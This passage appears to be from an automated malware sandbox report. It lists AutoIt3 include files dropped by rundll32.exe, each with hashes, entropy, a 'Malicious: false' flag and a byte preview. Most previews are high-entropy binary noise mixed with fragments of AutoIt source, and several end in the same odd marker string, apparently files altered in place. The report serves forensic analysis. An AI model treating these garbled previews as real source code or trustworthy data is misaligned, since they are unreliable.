Preview:	.4...7.[.o...-..........c..LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4..=i...OZ.QQ..(N.N.. k..33#..qiB2c>...6@..I.=..)./.0.W.n......'...c....z.....a..N......87..An!K,....X8..\|.&..s.W.b.Q.s...T.}..U7...XZ....o.....guO..$v&.Ae^(g+...^$..{.'......'.M.f...T..g..:X...NB...../@.N..:...<?;..ug^87....Of..&.D.}.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.P.t.y...O...a..Z...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D...4.l...L..f..Cr...tu.",..C2f)..rE...`.`..6.q&R...T(..(.&..).]...}.S...r..]..c.......QO.6P.P...1..?41..qiB2c....t...[......<...q.I.....9...b...6<.....j@h...R ........mPa.X....o...(.i..m.I.r.......O..e.X<...f.><..U?}-..cA..pf(..6.q&o..W%..d......Y...q.E...v..^..c.....N.AO..6R.m..JoY..p.?..F&..E....h...X......<.....0......9..p>...W......&D{2..cSh

C:\Program Files (x86)\AutoIt3\Include\ProgressConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.673710518505951
Encrypted:	false
SSDEEP:	48:XDzSzMH7feGzSzKzSzLs+S/a3VQb6I8J4PECGvPT3IuzeJJKzSzXI6TS:xy/ps8J4Jct+I6TS
MD5:	43FC78AAD72D2AF9F6F31C15A413404B
SHA1:	1D0C55CD2119FD73D6E8FFC3762651088DBAB666
SHA-256:	857F36D55523B52D1E4676381D7D2EA2C61F49F40D07B276BAE2815C6F3D4B64
SHA-512:	608A8F39129F92D0E804B1BE57C04B386B13DB2D662177F2696FCC20856C0D1B43D7D6755B88672995E2F79250D74C5C7E2AB8403E89490E3FBF08185F53A62D
Malicious:	false
Preview:	a...y..9Q..."..i...T.>BIv..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^...&g.ne9..A.C...O1:E..F}.,....G.r.4.....I.B..-...C..}Q...;.P...3vw.u.V....Y..O1.K.B.:.'....@c.Bu....e..w..,.P.;...u....I5.M...m7.iu<..(..>J.N.l.....J.&....[L?>.....y..l......g..4M...J{.L...\|).'\| ._O...[.A.qs...]i.D.W..].i.'...9\.-F.b...\|...S_...iz.....3iT..n..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h.=b.M..m/LT$.8.:.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P..(Z?S...Li.C....I.!::....3".P7.../.P...4.....8.S...&g.otu.E....M...~rE.._..i......!.4....r..D.. ...V..`...\|W.....UgG' X.p....R.a.qs..HyX...!..\|&S<.....7O.3..r.E.C..u3...@j...s4.'5..d0..?j.a S X.X$..C.L..F.s.9...v..wH.6...f...xQ....K.....9./NN..h+..,k.v>OR.>lI.i.L."c.Bu....v..pe.....t...{P....W.3...O.)TS..t ..9..v>HM:.

C:\Program Files (x86)\AutoIt3\Include\RebarConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6733
Entropy (8bit):	6.753622214481986
Encrypted:	false
SSDEEP:	192:eduU/5rIYpG9+YRdW+ZoLwluWaIPUYtT9S:eduW9Ud/6LqPUYtTw
MD5:	942DAD91E4D107C200B73D97CCA6B6AE
SHA1:	8C2690E0FC402FE55B752B1E846C2F3CF7B6708D
SHA-256:	7D7CF2B6F6CE4A5AE54FB569D7F6CF08355E33602D225DE70C2204CF92DD9601
SHA-512:	EDFB867B9C1098F899AF6266412D4294E528E1B3BD1F449DEF4B12415EC4CB0266106C1C7B5A42AFECDEFFEFCC7CA046BC57F73E7CBD3E2C3FF6FB8D16472862
Malicious:	false
Preview:	.EI...2....S...I{..Qg..?B./.19..c..on..#2@.,.s=s(usl.z...-F..!==================================================================================..; Title .........: Rebar_Constants..; AutoIt.zB...9..V..e.,uG...$..6{.h.mc..p..\|i..ph.Rb.C.u5.+".5.].y...2..: Constants for Rebar functions...; Author(s) .....: Valik, Gary Frost, .....; ===============================================......k..Q..v.?yL..O...G'.2.19..c..on..#2@.,.s=s(usl.z...-F..!================....; #CONSTANTS# ==============================================================================================......k..Q..v.?yL..O...A:.j..e...T..=1.>L.Ub.n$.J......b.C/..H_WM_USER = 0X400..Global Const $RB_BEGINDRAG = ($__REBARCONSTANT_WM_USER + 24)..Global Const $RB_DELETEBAND = ($__REBARCONSTANT_.ax......L..F.E(..P.....i./.^F..........>'YdN..B.G......c.O,..ISER + 26)..Global Const $RB_ENDDRAG = ($__REBARCONSTANT_WM_USER + 25)..Global Const $RB_GETBANDBORDERS = ($__REBARCONSTANT_WM_US.~..b..f.\$.c(Q.^.]..^H.P.IP.........

C:\Program Files (x86)\AutoIt3\Include\RichEditConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14719
Entropy (8bit):	6.795940156710328
Encrypted:	false
SSDEEP:	384:ZS+KQ7K8GnPtGrDpj2W9hY1UximLng4SftnvrDmlZt5mXE1Xareu/AiaKQnzu4L9:KMvKCNRz0741niJR+
MD5:	E285EB97E00CC4BE144CF909825C6D65
SHA1:	8FCF5E290EDBE01C8C8498CF930CFE3C4D28E597
SHA-256:	F30196B68CCDB6C9DA8F108694A12FAC17E212C37BDEE3841E48796774C0BAD6
SHA-512:	58828AA6F6AAEF27F0E69A611AB08B529C6A7C83442E7D88488F3AACFE2C6758FBBCDFEE642A0108E2969C8102BE1F1F67C4B3A6A1AB860B774D605F2066CF93
Malicious:	false
Preview:	.Y.......rZ...Q.=......>....L.! ....g.4....y.p.x..6..B...==================================================================================..; Title .........: RichEdit_Constants..; Aut.y.P......r..(.r.(........b.....I<3....t..g.KSD,.G.e..x.......n ...: <a href="../appendix/GUIStyles.htm#Edit">GUI control Edit/Input styles</a> and much more constants...; Author(s) .....: G.B.P......<..&.V.&........>....L.! ....g.4....y.p.x..6..B...=================================================================================....; #CONSTANTS# =============================...M.O...!..5.a.;........>....L.! ....g.4....y.p.x..6..B...======================..; Messages..Global Const $__RICHEDITCONSTANT_WM_USER = 0x400..Global Const $EM_AUTOURLDETECT = $__RICHED.d.?..&..Cn.W...T........l....2Crn........G.fic..p.a..Y...:...CONSTANT_WM_USER + 50..Global Const $EM_CANREDO = $__RICHEDITCONSTANT_WM_USER + 85..Global Const $EM_DISPLAYBAND = $__RICHEDITCO.c.1..-..Ij.Z.w.3......#......8X.b

C:\Program Files (x86)\AutoIt3\Include\SQLite.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59538
Entropy (8bit):	6.685183395516678
Encrypted:	false
SSDEEP:	768:/FeUDbiZJTuzGSiJxZWXtnZsBs1aGKeix7dYkUpkfeivRSgP9d:/F+Z71xZWrsBle+GSfPvR
MD5:	2582BE060EB53A4E299191A31A185955
SHA1:	E850CFA86515A717A9821433D626FAF575F61734
SHA-256:	EA3E3CCDE5036902762A4C97958C543D6717F21E2274EEBF7E818634BB25CF5B
SHA-512:	FF8A64BCE3962F09352F7630E5721D0D2DD10D21A7ED13C9B647BDE00B79E591CF68F09D7E39E085D9434E2CCE5FA6747FF2BC240F3EA05A5431A6CA9775BABA
Malicious:	false
Preview:	0v...."n....`[...p.......FU.......$..y.~..k..8....[,.&t.]..Y.ine_Modified....#include "FileConstants.au3"..#include "InetConstants.au3"..#include "Array.au3" ; Using : _ArrayAdd(), _ArrayDe.z.....P@....9....w.@.l..Zzf.$..U......bB...9..>...e$ ..p.~*.R.)....; #INDEX# =================================================================================================================."\...4!,....X.J.1.G.H..J[.)..z..M..x8U.\|..>...e$L.Y3..m.:.; Language ......: English..; Description ...: Functions that assist access to an SQLite database...; Author(s) .....: Fida Florz~......l`..V.J....3......9N.,B.Y..C..C9_...j..>...q`..g...~...===========================================================================================================================....;32L....",U.R.GU.I.2.D.K..4'.mO.Z..@..@:\...4.Iz...r)R.G0..n...---------------..; This software is provided 'as-is', without any express or..; implied warranty. In no event will the authors qzA....ch....J....~...l.Pxg.'..W.....

C:\Program Files (x86)\AutoIt3\Include\SQLite.dll.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	611
Entropy (8bit):	6.952690640532924
Encrypted:	false
SSDEEP:	12:91aWRZKVy+NGqA2MgXi20cvg2hh5mNFzYxFzSW3Rs+ovmBS:WddGqtXv0Ygu56FzYxpR2ES
MD5:	8681836EBCCAC0F14271DA062B451467
SHA1:	906476C98E4791043881B86A4C19743567837689
SHA-256:	51ECEEE221EDA93B2490C69F8EFFB88DCF474A26697FC2906B71880707EF7BC5
SHA-512:	E4AE7CC7EA9E9D1D1C37D95D480A49857777680740EAF64E8996BE086CF154F394263671478C534E48BDA1A88B65583BD45AAC25CD648063B60E055C7839A831
Malicious:	false
Preview:	.......]..!..l.S...W.\|...M~..._d!..+9WR\|..&o(..F.lf^.d/.e... .....53(%..8.?.....`...Py...di%....3!cwE.c(z..^.omV.\...;Y..\|....S...A`.N).@..H.....\|y...enl...&61"..~)m....62..$J..m...I.....gf=...l.?.....`...J~...".F...nz.]n..%e8..L.}\|T.Z...%]....EndFunc ;==>__SQLite_Inline_Version....3..g..\| f......(..'.......H.C.W.^Z........V...\|.....,.x.8..,..g..g....A.t.B.......]m6..W.'>.......Nr...7.I...A...<........R...oeL.</S..............R."...,.k..8..w...{...2X.W.....(.+........F.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\Include\ScreenCapture.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11344
Entropy (8bit):	6.5751263288637505
Encrypted:	false
SSDEEP:	192:eD7JbClDtEpWoJeI+bCX4qA18cCqZQZ09lDSHTBNOYedWenmHS:eDJClZEwueIP4qWwODI9KdWs
MD5:	A5B15C8D9E3A7A56B4947BB1437EE6A3
SHA1:	5A07F6910FDB512E9131489EB8ED303405D0C43F
SHA-256:	345EB916C43B3691B25ACC1D472FB877676D911FD251FC9045B672948E1B2CA3
SHA-512:	B0967D74BBB919715119FAB2AF0666D17668F04FF5262595D1ECE32C56753B20210C402C50E66BAB4A44EC0202E95F8090724DF1806D71AFBCFED12BB53348B2
Malicious:	false
Preview:	..~1b.~...M+....;.\b.l.S.......F'....&..2.\\|........C..P!&..rnals.au3"..#include "WinAPIHObj.au3"..#include "WinAPIInternals.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ==========..-o3..&....s..%.%..<.$....n....I.4HD.....fV.-.U........7...UuAF=============================================..; Title .........: ScreenCapture..; AutoIt Version : 3.3.16.1..; Language ......:..~5b.s.......{.q.Fh.w....i.....A`...._./K^c........Y..\.&\8apture management...; This module allows you to copy the screen or a region of the screen and save it to file. ..`7`.u..@n..}.l.Bd......s...T.)UY.....4..y........i....-.[various image parameters such as pixel format, quality and compression...; Author(s) .....: Paul Campbell (PaulIA)..; ==========..-o3..&....s..%.%..<.$....n....I.4HD.....fV.-.U........7...UuAF=====================================================....; #VARIABLES# =========================================================..-o3..&....s..%.%..<.$....n....I.4HD...

C:\Program Files (x86)\AutoIt3\Include\ScrollBarConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.030980852672302
Encrypted:	false
SSDEEP:	12:YL2Mo+yMhUfMhU8vmCpF4bAfMhUfHxKZNeXpgqjg8SN19llQBS:YZo+1hmMhjXzpfMhmcNe5DjgrHsS
MD5:	1D78A2853C7216B3DC78D49CDC851E4A
SHA1:	347923BEC5CD50919A52A9F759C9F9A5432F4536
SHA-256:	58AA191E5839C458A7C7F515EB6C1AA21F96F21D3EDCE84EC55C7344F24D29F5
SHA-512:	8409BE52DE9CF07D02207683A3EE2E2DCADC05EC68C05BD4B776E25FB964CC67C9515029363F68AF97A3664E45E44F61E3F1A0FBC42B446C35E64EFFE474AD29
Malicious:	false
Preview:	....D.....c..z...Ko..J.v.>z?..^w.Z..5..G.6.N7.h.4.....s..gU...........B=..M....<.....!.aC..&.....g....e..$. .+..3...m...-...........B=..M....<.....!.aC..&.....g....e..$. .+..3...Z..wy.@.......Q:.@....NC..`.\|.o]=..A.........G...Oj.r.6..=.a..........D..P.Q..=^...go..V.{...\|:.Ax.R..5....v..R.m.6.\|...=..Wy.I..F..]..l.3....Lf.5.3.i]4...h.....t....(.0..=.+..3...m...-...........B=..M....<.....!.aC..&.....g....e..$. .+..3...m...-..================================================.....B........[\.SXO..C.0.a...j.Y..u$...s.......u.....2A...xqe@...I.A.R.ol?..1..\.I}...x#.[.;)..........~T..........'.l.cc.........../9a..}..=nF.... @...T..U,.7~..]/y.YcR..%..;M.>..1>..7..^./[.0.uEF................................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\Include\ScrollBarsConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	7.669496413516488
Encrypted:	false
SSDEEP:	48:9sT4WnJMEiwDIDtF3XsaOJtg5Hyp/FHziQMIsf6kAS:KT4WnyEi5H3XWJtg5HyJFHzipn8S
MD5:	7F7C559B80D7772BA7F072D639ED2A1A
SHA1:	2590ECB57B84AEB8513AC1CF80B6149D12950E09
SHA-256:	A4C51B4324D10D8DA379ECDC07B957A43A5A28E091EBCF891E4DA80FDFE0F610
SHA-512:	DAABE4A5101A162D53985B69432B920102164FCD94295975BAF90791EA2C03490F8EB63F148CE1E825E2BA499DF488ED7CC898F72EE77D89DE5FB3E4324D52A4
Malicious:	false
Preview:	...#K.)..x..4.Zx.}F...w.hy#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.`X.....vd#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.Po...[.'<>..0.{>av..W.Y.^(t.H...t.._.\|...c....4..(..y...d\.sT...?.pyR...k.2uov....X..w.r.~....Bu;.....V...n..w..x..X.#..;...Q.$5r..>. ~,,X..GX;..JT.c.../.K.p._....9...+.....6..V.#^.sK.....vd#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.`X.....vd#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.`X.....AT...]..C......V...W(..:._.c.L....R...}..p...+....jO.`X.....vd#...#.h-re....K...W(.*.:._.c.L....R...}..p...+....jO.`X.....vd#..Y.:r.4...Z.B..9\.H...'.B.&.E...N....`d.#...2.....3..E...J.yT...\|.90.7_...Re.t5G.Y..:.RIn.\|...M....H.>..E..f..3..5....{!/..Y.:r.4...Z.B..9\.H...'.Bs7.>...q&....i.....E..f..5.qE...t...M..M..O..p..d9e.?`..P...f.Br1....q-....}.p......V.6...........A..J.h0~U;..[.W..)z.d...T.=r..Q.../e..."F.m...e.....-..1...FS....q.4\|o.^..@V..p5Y.Y...A.B.~.\|...M....H.>..E..u..7..".....zT...\|.90.7_..

C:\Program Files (x86)\AutoIt3\Include\Security.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18491
Entropy (8bit):	6.369970921125449
Encrypted:	false
SSDEEP:	384:7FvsOQxT+pIpNPVMxu777j/0hW6h05j074/3kwqMX4t:RjZ62xu7ze+Nbfb0t
MD5:	38DF98E7C0D94D94F00238A3CDB93709
SHA1:	FF93B103A294F2CA1A9D53C65A3B6955282839BF
SHA-256:	A90EB9AAA0F5AF11B3A825E31A4926F04FABC515C47AB55FA14346B4F7D21477
SHA-512:	EA52156ABE32CB2D269B16721B50D40122C47FB6FBBDE9A30F33E962FE719F209A1195BAB74E4DB8A23954DD70C91EF73E47502744E89BAA379B87E659F0C856
Malicious:	false
Preview:	..."cOX.........Qz....Z..4...]..M3.B..J.K..?..\|W...../A.!vw\|APIError.au3"....; #INDEX# =====================================================================================================...Pj:.H\..R....5.[.......MU..y rE...G.JJ.3..J}.....krkqRw}n : 3.3.16.1..; Description ...: Functions that assist with Security management...; Author(s) .....: Paul Campbell (PaulIA), tra....Z..U\..R.....)]...G..l.^F..j3aB...\..Dw..L`.C..v.3>.#/========================================================================....#Region Functions list....; #CURRENT# ==============...Pj:.H\..R.*....)]...G..l.^F..j3aB...\..Dw..L`.C..v.3>.#/=======================================..; _Security__AdjustTokenPrivileges..; _Security__CreateProcessWithToken..; _Security__D....6sO!.....o....K3........$.@.4m3._..M.5)Bj...>.......ckwm{\|gthSid..; _Security__GetTokenInformation..; _Security__ImpersonateSelf..; _Security__IsValidSid..; _Security__LookupAccountName...>2d_....0.[..OMd!......8.nq...]9.D.

C:\Program Files (x86)\AutoIt3\Include\SecurityConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8461
Entropy (8bit):	6.876497947169119
Encrypted:	false
SSDEEP:	192:EhDq1MDQxEW+25eS/MCEID1WzKtINfC5YDFQNgPL0zEdhAS:Eh5sfMC5GKaZIYiqP44D
MD5:	3D5AAC7F02C1F0207E89539A67C8EFBA
SHA1:	06344B3BAA64C979CD6FA4F9586BFA698E3B5D2F
SHA-256:	775B9056784E304889E8D197942809C78B50B6C380D36D0B30E2962AC3A90297
SHA-512:	3AE768B52A3F01DF7938CD1DBEE28AC4FEF7C245F3FA86DEADA28E130F8F8D5A62C2388EB5A3AE169D803139D2AAE822FA6444A1AC6FC3C07C0347088B9468A4
Malicious:	false
Preview:	p,...........b...E.V.hp3G...bMr..!.....{"Vq...........q..\2==================================================================================..; Title .........: Security_Constants..; Aut<.........UO..&P..1.!?PD...8....<....h%K...C.........%...`n ...: Constants for Security functions...; Author(s) .....: Paul Campbell (PaulIA), trancexx..; ===============================nx...N.U..RR..(C."...VY...bMr..!.....{"Vq...........q..\2================================....; #CONSTANTS# ==============================================================================nx...N.U..RR..(C."...VY...bMr..!..80.*p.-...^....i.......1]IMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"..Global Const $SE_AUDIT_NAME = "SeAuditPrivilege"..Global Const $SE_BACKUP_NAM.e...........?..c...x..8a#...>.o..r......@(....o...\|........A-SeChangeNotifyPrivilege"..Global Const $SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"..Global Const $SE_CREATE_PAGEFILE_NAMEsx....0.....?...s...O.EC.....}}E..s..Y..

C:\Program Files (x86)\AutoIt3\Include\SendMessage.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2682
Entropy (8bit):	7.513172882538814
Encrypted:	false
SSDEEP:	48:T/j0Gybl/NT/Vx/l/d/l/uyl/KoD/HJam52B+wk0/l/xX/l/9BNoRtBjMhJomJlS:T7cxlTbd1dWqTpGk0dBdlnhJRJlS
MD5:	AC3E237ABB6FFCAB0657225EDDEC1207
SHA1:	733D804E55FA968F1DE803252042514280CC8C84
SHA-256:	79F4F26A47557F036320DA80A47BEC1D410E78145DA387E172D11BB90E83EC80
SHA-512:	C0749255044F6B18C795E4BB0B6FC6AE35ABFDBA69F71C8E84F77DA7A8D801047F300FF6F2007F9EBE4FCF53AA3B68421743EC3361574E24BF9CFE08727DA0AF
Malicious:	false
Preview:	...i.,.:..!..J....V>u..IPmD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z......L...e.(Y.m...W..#C(...(...Y...,g.L..$.0<p..V..d.c.l..a..i....9.U..p.(Y.m...W..H.o8..$.....B.....%\|j2..c..i.0.1.;..3.............0.N.Y.Ma.{z..w...^......L...er~<p..L...8.&..=..3.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....x}...R&.+.....D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...S.*.-.d...Mj..^......N...R.....p\|y!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vQN.,..4.D......o..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!../I.K.-.0.a..i....U!Z..z~GB...M...IiW&z..b..m....+.....c.%n_..J..#.8.>.....(....UJ...,NpD.~...D..0D5i

C:\Program Files (x86)\AutoIt3\Include\SliderConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	4578
Entropy (8bit):	7.834858433600698
Encrypted:	false
SSDEEP:	96:m2lLPMk0/399BuBhxAHanoIk0rL2qx88Ht+OXffM+VCFZJIh1VS:tRPrBIlIk42pSt+OXc+gTJIHVS
MD5:	D20DCA64AB4F4493962FC7786410CEBD
SHA1:	8F8C08CA9BEDB79E5B8D4ACF83293129B05F0338
SHA-256:	0E97A0B0E8939EBD4DF4FD4EED8D937AA02F061575DAFEF40764C090B0DD47A3
SHA-512:	77E4541EEB6D194D8256BED91940E31D440BD37A0E23FD80BA3D16E5717C6A293DE7CF9947EB52313E3E15765679938421BF45BF4E84ED977644FCE085B3484E
Malicious:	false
Preview:	.`......[oe.......Q_..J...yY.\......l......1..E...c#j..o..w.4.......<;F..)...O+..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...x-..f!..dJ.O......k.i......OE.....XJS.l..'.U..).......;&H..:...C.../...#.B.D...............B.r..IJ=l>..;.Tj.'......Fd`F..:....s..f-..-p.X.F..%...........-...CW*l8....S..{........gE..z....u.b:..d.L.R.B....0.....cX.......p0m..3.S!.)....[rrW..:.I6..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...O+..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...O....n...+m2u.m...q......1..E...c#j..o..w.4.......<;F..)...O+..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...O+..2h...D`.R.L..#.M.........;...CT~Z%..r.[&.l......Qyg..q...s...0..".F...M..4.^....\|O.X...N\,>8..&._j.D......f@Q[.f....d.._..+.B...L..q.n.....Md.=.....&-w.6.T>.o.......bn...q....w.{=..0.B.J.B..>.N.....xB.....MK5{%..>.^/.)......>Fj...x....e.+....;w)t.a...a.......xC....XQ;>#..1.X+.).......r&..y....d..}{..,.PAH....q.[

C:\Program Files (x86)\AutoIt3\Include\Sound.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23268
Entropy (8bit):	6.522563773191588
Encrypted:	false
SSDEEP:	384:MwIlsqMs1iVJp19ArG+l7tKGoLabcsRYlOAxxFbbxNHAM/eaAAq+Un:AgVwrIlabcUYLn5jHASW
MD5:	C1395A16B0698CB28FE5905E61026AD0
SHA1:	A79F4F85A80A46E8A38DDCDB6379B65D15ADF3CB
SHA-256:	E22FF9B06CBF554589EC2E96C2DA0DBEF0F862598ED30A9DCD90736C563F6FF8
SHA-512:	3DD0C8D95A33333B38E48844ABE2902208046DD5D97FB3C96826321BC3644B8CD72B093AC2E120436F8BD8CC2376E7B7CFDF6993E2BB444FFB168DD1FCDF6A04
Malicious:	false
Preview:	...`F...;...M.fB5..`.~&$z...SK..p....k. ...7B........O,....3" ; Using : _PathSplit..#include "StringConstants.au3"....; #INDEX# ===========================================================.O.>...A+G...OQr..3R/n}"......"....%.\|....u.O.........}.2D.Title .........: Sound..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with S...g....w...M..a2...g'(p^.....1......b.3...w-.........E!.._.saltyDS..; Dll ...........: winmm.dll..; =======================================================================================.O.>...A+G...OQr..3R/n}"......"....%.K....k.=.........}..B.=============================================================================================================..Global Const $__S.'.Gi../B;..w!".v..C.@..M...._.+.......a....u.O.........}..B.=========================================================================================================....; #CURRENT# =======.O.>...A+G...OQr..3R/n}"......"....%

C:\Program Files (x86)\AutoIt3\Include\StaticConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	7.684281129124275
Encrypted:	false
SSDEEP:	48:9qUzBXUr7PMxtmc3H+ltUiriUkLd01if+8cOCBAeAS:sUVXcPeAc3HubsG1ihc6NS
MD5:	A1A296C9B82EF7499AAB5A9787BD802D
SHA1:	1C3A7E3B4EA16615C2926BF09068489C44A9417B
SHA-256:	61F17342BF8A32FCC83040BF637FE250E901D42C749EB6328CAA98EBDDDE8E61
SHA-512:	ED61E3D6F679564C2C94FE6A21B7DB23296FC5F2B992FAD75F89CD994C0C886C9167AB0E10CB07D5C0D3A8EC9B0487E1F222B393BB76D606F56AC2CB496CDB94
Malicious:	false
Preview:	y..3t..c..s~..%..K.W..\|(...+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....f.%.P...8Kh..q...JQ.E.7X...G...0...u(..eB...5j..i.O'=E....E.....<..c.!..q...^_..a.8n..>a..!..'x..~C.t..j8.&..x{K.......{..P...._62.:..Z....E.8%...}z....."(..sH.u..1l..&..dq......K.p..i...._.)..<._A...W..^<...@2..l...`&..?.....9s..A..d=0.@..K.0..3K..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M...^f....bf1?....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+XK....PP....M...d..>...&...g..e......]..&.O-eF.%....r.V...26....ew"Q.....Y....V;.....:(.Br.....8..6.]..1.@..K.q..MP...I,.......B..c..6f..[4..d....J..Rf....p%..~.b.Z..M..(.p...T..Q7....e.MQ......k..Xz....j[..Fe.....[..;._e+{.h....>..W....E6....zt"0....d....s6..%..!f..1......Y..T."X=K....a.r..X....x.2....ne88.

C:\Program Files (x86)\AutoIt3\Include\StatusBarConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3530
Entropy (8bit):	7.791237062804851
Encrypted:	false
SSDEEP:	96:vl0Mtxk+MHOQPVfVY54TjaNxXNwAe5RCHS:vl0MtmHOQP/JTjaNxXiAe5RCHS
MD5:	55A2B762B8BF7D75C904661E7C1BF197
SHA1:	E0295DBCE3743CE3D6930F2B4A572EC67260E3EF
SHA-256:	2F4D9B4FE21C2BC1A8FC73B0184735C5D6F1C463D3F9F7BA6A32D9F90D71ABD0
SHA-512:	620A17FFF60745359E3DA5B5F7D827379F4C39D258B84AE63BF74712112A94BBDE1A99E67BC3331ABB800C1BFE211779018F8EC025728F1AFAD681A4548832EB
Malicious:	false
Preview:	.<ii.t09.v%..).TAu.e.l1.+".]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.L..!+.m..N......Q...Uc!/l.Th.,.5....J.....q^.:N~.W1..p$....je}.w..DOy:....BE.N..Q....,ozZ;Rv...V.H.[.....DB.;'$./n\|.v%..E.-8n.)..&6.u..".W..\......R,XP$uto...)..A..W.....}.9na.!.=.`k..K.-gn.h./.yS<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.~..[..s.g..>...."hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]./..z.....+E95}4Y:...(..L.\|8....yq..UC.!i\|.az.)..'!.'..6-.r..D.gd.}..3...r"hz/-..b......RY....D...EK.R...V...t.yvn.>..EOy..@.c\.N..u...Cc9z\:[i.O....7.k7.......-7.E1:.l'....5$,..a.,.u..3.qo.f..-...r"hz/-..O....H.[.....O.4pd.v=(.v>..F.+/+.5./...n....f_.Z..[...~R..P.a:.O.#.X..Y....DN.!'c.!0..n%..M.1k/.$.P.'.!..@.U@.H......Dpu.w4[:...{....[Y...XN."nd.n#r.....F.5k..(.VUf C..2.ib.h..1.

C:\Program Files (x86)\AutoIt3\Include\String.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8640
Entropy (8bit):	6.176115766105524
Encrypted:	false
SSDEEP:	192:THhY58LO3WuF1eusfl2qHndf7YlQk5FiU4Ma6S:TH6CLOGuFAusfzHndDYlQk5FiU4Mat
MD5:	5D92E884C3D749AD0F53C63303D7259F
SHA1:	7CC2BAC419D4DCBCA3362A7A425006F458B5B31E
SHA-256:	E197314AF8CF77379E343EE89702873A6C53C16D65611E4E964E62CBD10BE08D
SHA-512:	3DF44EF211B96AB45F35C8F00705004ED954CA51961AAA35B748F0BB785FF831EF9C54A5859F53C594AA553E49A6BB4EE4D6A68E148E199EE471BABD6E4C751A
Malicious:	false
